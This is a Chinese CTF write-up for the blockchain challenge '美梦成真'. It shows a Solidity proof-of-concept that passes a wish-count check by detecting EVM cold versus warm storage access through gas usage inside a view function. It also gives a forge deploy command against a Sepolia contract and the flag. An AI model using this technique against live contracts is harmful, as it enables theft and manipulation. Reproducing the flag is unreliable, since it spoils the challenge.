{"author":{"address":"0x468FA4c23c94012bf170207210d26E02a8a268bf","user":"https://learnblockchain.cn/people/16222"},"content":{"body":"分析：这道题的合约放在了 Sepolia 测试网上，要进行交互，首先要调用 `start_challenge()`函数，有点像是使用 EOA 账户来开启容器的味道了。\r\n\r\n要想 is_solved 函数返回 true 这里要求我们 EOA 对应的`wishes` mapping的值大于 1。要想修改 wishes 只能通过`wish_making`函数。调用该函数时会自动调用`msg.sender`上的`wish_amount`函数。\r\n\r\n```solidity\r\nfunction wish_making() external challenge_started remains_wish {\r\n    Wish_Maker wish_maker = Wish_Maker(msg.sender);\r\n    bool is_less_than = false;\r\n    if (wish_maker.wish_amount() \u003c 1) {\r\n        is_less_than = true;\r\n    }\r\n    wish_made[tx.origin] = true;\r\n    if (is_less_than) {\r\n        wishes[tx.origin] = wish_maker.wish_amount();\r\n    } else {\r\n        wishes[tx.origin]--;\r\n    }\r\n}\r\n```\r\n\r\n要想满足 is_solved 的条件，我们需要当 target 第一次调用我们攻击合约的 `wish_amount` 时，第一次返回的是 0，第二次返回的值大于 1。但是，由于接口的定义，`wish_amount`函数是一个 view 函数。通过常规的方法无法修改，但是我们可以利用 evm 冷读热的的特点进行绕过\r\n\r\n当第一次访问一个地址时，这个地址是冷读，消耗的 gas 为 2600，但是第二次访问这个地址时，就变成了热读，消耗的 gas 仅有 100。所以我们可以对攻击合约中的 `wish_amount` 函数进行如下构造：\r\n\r\n```solidity\r\nfunction wish_amount() external view returns (uint256) {\r\n\tuint256 startGas = gasleft();\r\n\tuint256 bal = address(0x100).balance;\r\n\tuint256 usedGas = startGas - gasleft();\r\n\tif (usedGas \u003c 1000) {\r\n\t\treturn 2;\r\n\t}\r\n\treturn 0;\r\n}\r\n```\r\n\r\n完整 Poc\r\n\r\n```solidity\r\npragma solidity ^0.8.0;\r\n\r\nimport {Script} from \"forge-std/Script.sol\";\r\nimport {Make_a_wish} from \"../src/Make_a_wish.sol\";\r\nimport {Wish_Maker} from \"../src/Make_a_wish.sol\";\r\n\r\ncontract Poc is Wish_Maker {\r\n    function wish_amount() external view returns (uint256) {\r\n        uint256 startGas = gasleft();\r\n        uint256 bal = address(0x100).balance;\r\n        uint256 usedGas = startGas - gasleft();\r\n        if (usedGas \u003c 1000) {\r\n            return 2;\r\n        }\r\n        return 0;\r\n    }\r\n\r\n    function attack() external {\r\n        Make_a_wish target = Make_a_wish(0xFD8fa72956172C671cA3cc5c84f38f0C98CEEa61);\r\n        target.start_challenge();\r\n        target.wish_making();\r\n        require(target.is_solved(address(tx.origin)), \"hack failed\");\r\n    }\r\n}\r\n\r\ncontract Attack is Script {\r\n    function run() public {\r\n        vm.startBroadcast();\r\n        Poc poc = new Poc();\r\n        poc.attack();\r\n        vm.stopBroadcast();\r\n    }\r\n}\r\n```\r\n\r\n执行 foundry 命令即可：\r\n\r\n```bash\r\nforge script script/Attack.s.sol --rpc-url $rpc --private-key $key --tc Attack --broadcast --evm-version cancun\r\n```\r\n\r\naccount：0xDf996e6b09A5f1dc4da8365148e7e8D52e8fD892\r\n\r\n![{578CF9DD-DB9C-468C-8BE4-BCB1CA9DBCFE}.png](https://raw.githubusercontent.com/Q1ngYing/images/master/images/1736061986560-85303e33-53aa-425e-b4f2-2186bfcfc19d.png)\r\n\r\n![{C15F504B-AE81-4700-AA4F-08FD5E90F760}.png](https://img.learnblockchain.cn/attachments/2025/01/DQSjjcYe677e2c655f20a.png)\r\n\r\nflag：flag{v1ew_K3yword_7rouble}","title":"Track-CTF blockchain-美梦成真"},"history":null,"timestamp":1736322246,"version":1}